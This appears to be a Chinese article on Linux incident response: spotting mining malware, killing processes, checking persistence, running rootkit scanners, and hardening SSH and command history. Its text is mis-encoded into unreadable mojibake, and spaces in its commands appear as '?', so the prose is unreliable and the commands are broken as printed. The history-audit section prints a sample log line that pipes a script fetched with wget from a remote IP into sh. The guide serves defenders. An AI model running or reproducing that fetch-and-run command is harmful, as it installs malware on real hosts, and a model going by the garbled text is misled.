һƪÎÄÕÂ˵Çå³þ Linux Ó¦¼±ÏìÓ¦¼¼ÇÉ

¸ÅÊö

Linux»·¾³Ï´¦ÀíÓ¦¼±ÏìӦʼþÍùÍù»á¸ü¼ÓµÄ¼¬ÊÖ£¬ÒòΪÏà±ÈÓÚWindows£¬LinuxûÓÐÏñAutorun¡¢procexpÕâÑùµÄÓ¦¼±ÏìÓ¦ÀûÆ÷£¬Ò²Ã»ÓÐͳһµÄÓ¦¼±ÏìÓ¦´¦ÀíÁ÷³Ì¡£

ËùÒÔ£¬ÕâƪÎÄÕ½«»á¶ÔLinux»·¾³ÏµÄÓ¦¼±ÏìÓ¦Á÷³Ì½øÐн²½â£¬²¢ÇÒÌṩÿһ¸ö»·½ÚÖÐËùÓõ½µÄshellÃüÁÒÔ°ïÖú´ó¼Ò¿ìËÙ¡¢ÏµÍ³»¯µØ´¦ÀíLinux»·¾³ÏµIJ¡¶¾¡£

´¦ÀíLinuxÓ¦¼±ÏìÓ¦Ö÷Òª·ÖΪÕâ4¸ö»·½Ú£ºÊ¶±ðÏÖÏó-> Çå³ý²¡¶¾-> ±Õ»·¶µµ×-> ϵͳ¼Ó¹Ì¡£

Ê×ÏÈ´ÓÓû§³¡¾°µÄÖ÷»úÒì³£ÏÖÏó³ö·¢£¬ÏÈʶ±ð³ö²¡¶¾µÄ¿ÉÒÉÏÖÏó¡£È»ºó¶¨Î»µ½¾ßÌåµÄ²¡¶¾½ø³ÌÒÔ¼°²¡¶¾Îļþ£¬½øÐÐÇå³ý¡£

Íê³ÉÇ°2²½»¹²»¹»£¬²¡¶¾Ò»°ã»áͨ¹ýһЩ×ÔÆô¶¯Ïî¼°ÊØ»¤³ÌÐò½øÐÐÖظ´¸ÐȾ£¬ËùÒÔÎÒÃÇÒªÖ´Ðбջ·¶µµ×È·±£²¡¶¾²»ÔÙ±»´´½¨¡£

½«Ö÷»úÉϵIJ¡¶¾ÏîÇå³ý¸É¾»ºó£¬×îºó¾ÍÊǽøÐÐϵͳ¼Ó¹ÌÁË£¬·ÀÖ¹²¡¶¾´ÓWebÔÙ´ÎÈëÇÖ½øÀ´¡£

×ßÍêÕâ4¸ö»·½Ú£¬²ÅÄÜËãÊÇÒ»¸öÓ¦¼±ÏìÓ¦Á÷³ÌµÄ½áÊø¡£

ʶ±ðÏÖÏó

µÚ1¸ö»·½ÚÒªÇóÎÒÃÇͨ¹ýϵͳÔËÐÐ״̬¡¢°²È«É豸¸æ¾¯£¬·¢ÏÖÖ÷»úÒì³£ÏÖÏó£¬ÒÔ¼°È·Èϲ¡¶¾µÄ¿ÉÒÉÐÐΪ¡£

ϵͳCPUÊÇ·ñÒì³£

ö¾Ù½ø³Ì£¬CPU½µÐòÅÅÐò£ºtop

CPUÕ¼ÓÃÂʳ¬¹ý70%ÇÒÃû×ֱȽϿÉÒɵĽø³Ì£¬´ó¸ÅÂʾÍÊÇÍڿ󲡶¾ÁË¡£

ÊÇ·ñ´æÔÚ¿ÉÒɽø³Ì

ö¾Ù½ø³ÌÃüÁîÐУºps -aux

²¡¶¾Ò»°ã¶¼Ð¯´ø¿ÉÒɵÄÃüÁîÐУ¬µ±Äã·¢ÏÖÃüÁîÐÐÖдøÓÐurlµÈÆæ¹ÖµÄ×Ö·û´®Ê±£¬¾ÍҪעÒâÁË£¬ËüºÜ¿ÉÄÜÊǸö²¡¶¾downloader¡£

°²È«Íø¹ØÓÐÎÞ±¨¾¯

´Ó°²È«Íø¹Ø±¨¾¯ÖÐʶ±ð³öÍþвÊÇ×îÖ±½Ó£¬µ«È·ÈÏÖ÷»úÒѾ­¸ÐȾÁ˲¡¶¾Ö»ÊǵÚÒ»²½£¬½ÓÏÂÀ´µÃ¶¨Î»£¬¾ßÌåÊÇÄĸö½ø³ÌÔÚÓëC&CͨÐÅ¡£

¼à¿ØÓëÄ¿±êIPͨÐŵĽø³Ì£º

while?true;?do?netstat?-antp?|?grep?[ip];?done??

ÓÐʱ°²È«Íø¹Ø¼ì²âµ½µÄ²»È«ÊǶñÒâIP£¬»¹ÓпÉÄÜÊǸöÓòÃû£¬ÕâÖÖÇé¿öÏ£¬ÓòÃû¶ÔÓ¦µÄIPÊDZ仯µÄ£¬ÎÒÃDz»ÄÜÖ±½ÓÓÃÉÏÊö·½·¨½øÐмà¿Ø¡£

ÎÒÃÇ¿ÉÒÔÏÈÔÚhostÎļþÖÐÌí¼ÓÒ»Ìõ¹æÔò£¬½«¶ñÒâÓòÃûÖض¨Ïòµ½Ò»¸öËæ»úµÄIPµØÖ·£¬È»ºó¶ÔÆä½øÐмà¿Ø¡£

ÕâÑù¾ÍÄܵõ½Óë֮ͨÐŵĶñÒâ½ø³ÌÁË¡£

ÓÐÎÞ¿ÉÒÉÀúÊ·ÃüÁî

±éÀúÖ÷»úÀúÊ·ÃüÁ²éÕÒÓÐÎÞ¶ñÒâÃüÁhistory

Çå³ý²¡¶¾

´ÓµÚ1¸ö»·½Ú×·Ëݵ½µÄ½ø³ÌÐÅÏ¢£¬½«»á°ïÖúÎÒÃǶ¨Î»µ½²¡¶¾½ø³Ì&²¡¶¾Îļþ£¬ÊµÏÖÇå³ý¡£

½áÊø²¡¶¾½ø³Ì

Çå³ý¿ÉÒɽø³ÌµÄ½ø³ÌÁ´£º

ps?-elf?|?grep?[pid]?kill?-9?[pid]?

ɾ³ý²¡¶¾Îļþ

¶¨Î»²¡¶¾½ø³Ì¶ÔÓ¦µÄÎļþ·¾¶£º

ls?-al?/proc/[pid]/exe?rm?-f?[exe_path]?

±Õ»·¶µµ×

LinuxϵIJ¡¶¾³Ö¾Ã»¯×¤Áô·½Ê½Ïà±ÈÓÚ Windows ½ÏÉÙ£¬Ö÷ÒªÒÔÏÂ4ÖÖ·½Ê½¡£

¼ì²éÊÇ·ñ´æÔÚ¿ÉÒɶ¨Ê±ÈÎÎñ

ö¾Ù¶¨Ê±ÈÎÎñ£ºcrontab-l

²é¿´anacronÒì²½¶¨Ê±ÈÎÎñ£ºcat/etc/anacrontab

¼ì²éÊÇ·ñ´æÔÚ¿ÉÒÉ·þÎñ

ö¾ÙÖ÷»úËùÓзþÎñ£¬²é¿´ÊÇ·ñÓжñÒâ·þÎñ£º

service--status-all?

¼ì²éϵͳÎļþÊÇ·ñ±»½Ù³Ö

ö¾ÙϵͳÎļþ¼ÐµÄÎļþ£¬°´ÐÞ¸ÄʼþÅÅÐò²é¿´7ÌìÄÚ±»Ð޸ĹýµÄÎļþ£º

find?/usr/bin/?/usr/sbin/?/bin/?/usr/local/bin/?-type?f?-mtime?+7?|?xargs?ls?-la?

¼ì²éÊÇ·ñ´æÔÚ²¡¶¾ÊØ»¤½ø³Ì

¼à¿ØÊØ»¤½ø³ÌµÄÐÐΪ£ºlsof-p[pid]

strace-tt-T?-etrace=all-p$pid?

ɨÃèÊÇ·ñ´æÔÚ¶ñÒâÇý¶¯

ö¾Ù/ɨÃèϵͳÇý¶¯£ºlsmod

°²×°chkrootkit½øÐÐɨÃ裺

wget?ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gztar?zxvf?chkrootkit.tar.gzcd?chkrootkit-0.52make?sense./chkrootkit?

°²×°rkhunter½øÐÐɨÃ裺

Wgethttps://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz??tar?-zxvf?rkhunter-1.4.4.tar.gz?cd?rkhunter-1.4.4?./installer.sh?--install?rkhunter?-c?

×îºóÒ»¸ö»·½ÚÍùÍùÊÇ´ó¼Ò±È½ÏÈÝÒ×ÒÅÍüµÄ£¬Linuxƽ̨ÏÂ90%µÄ²¡¶¾ÊÇͨ¹ýÍøÂç´«²¥¸ÐȾµÄ£¬ËùÒÔ£¬ÄãµÄÖ÷»úÖ®ËùÒÔ»á¸ÐȾ²¡¶¾£¬´ó²¿·ÖÔ­ÒòÒ²ÊÇÒòΪWeb°²È«·À»¤²»¹»£¬¸Ï½ô¼ì²éһϡ£

ÐÞ¸ÄSSHÈõÃÜÂë

²éѯlogÖ÷»úµÇ½ÈÕÖ¾£º

grep?"Accepted?"?/var/log/secure*?|?awk?'{print?$1,$2,$3,$9,$11}'?

¶¨Î»Óб¬ÆƵÄÔ´IP£º

grep?"Failed?password"?/var/log/secure|grep?-E?-o?"(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq?-c?

±¬ÆÆÈÕÖ¾µÄÓû§ÃûÃÜÂ룺

grep?"Failed?password"?/var/log/secure|perl?-e?'while($_=<>){?/for(.*?)?from/;?print?"$1n";}'|uniq?-c|sort?-nr?

SSH±¬ÆÆÊÇLinux²¡¶¾×î³£ÓõĴ«²¥ÊֶΣ¬Èô´æÔÚÈõÃÜÂëµÄÖ÷»úºÜÈÝÒ×±»ÆäËû¸ÐȾÖ÷»úSSH±¬ÆƳɹ¦£¬´Ó¶øÔٴθÐȾ²¡¶¾¡£

Ìí¼ÓÃüÁîÉó¼Æ

ΪÀúÊ·µÄÃüÁîÔö¼ÓµÇ¼µÄIPµØÖ·¡¢Ö´ÐÐÃüÁîʱ¼äµÈÐÅÏ¢£º

[1]±£´æ1ÍòÌõÃüÁ

sed?-i?'s/^HISTSIZE=1000/HISTSIZE=10000/g'?/etc/profile?

[2]ÔÚ/etc/profileµÄÎļþβ²¿Ìí¼ÓÈçÏÂÐÐÊýÅäÖÃÐÅÏ¢£º

USER_IP=`who?-u?am?i?2>/dev/null?|?awk?'{print?$NF}'?|?sed?-e?'s/[()]//g'`??if?[?"$USER_IP"?=?""?]??then??USER_IP=`hostname`??fi??export?HISTTIMEFORMAT="%F?%T?$USER_IP?`whoami`?"??shopt?-s?histappend??export?PROMPT_COMMAND="history?-a"?

[3]ÈÃÅäÖÃÉúЧ£º

source?/etc/profile?

Éú³ÉЧ¹û£º

762019-10-2817:05:34113.110.229.230?wget?-q?-T180?-O-http://103.219.112.66:8000/i.sh)?|?sh?

´òÉϳ£¼ûWeb©¶´²¹¶¡

• structs2ϵÁÐRCE©¶´
• thinkphp5.XRCE©¶´
• RedisδÊÚȨ·ÃÎÊ©¶´
• ConfluenceRCE©¶´£¨CVE_2019_3396£©
• DrupalRCE©¶´£¨CVE-2018-7600£©
• ThinkPHPRCE©¶´£¨CVE-2019-9082£©

½áβ

Linuxƽ̨ϵĶñÒâÈí¼þÍþвÒÔ½©Ê¬ÍøÂçÈä³æºÍÍڿ󲡶¾ÎªÖ÷£¬ÓÉÓÚLinux´ó¶à×÷Ϊ·þÎñÆ÷±©Â¶ÔÚ¹«Íø£¬ÇÒWebÓ¦ÓõÄ©¶´²ã³ö²»ÇËùÒÔºÜÈÝÒ×±»´ó·¶Î§ÈëÇÖ£¬Èç³£¼ûµÄ²¡¶¾£ºDDG¡¢systemdMiner¡¢BillGates¡¢watchdogs¡¢XorDDos£¬ÔںܶàLinuxÉ϶¼ÓС£´ó¼ÒÒªÑø³É²»Ê¹ÓÃÈõÃÜÂë¡¢ÇÚ´ò²¹¶¡µÄºÃÏ°¹ß¡£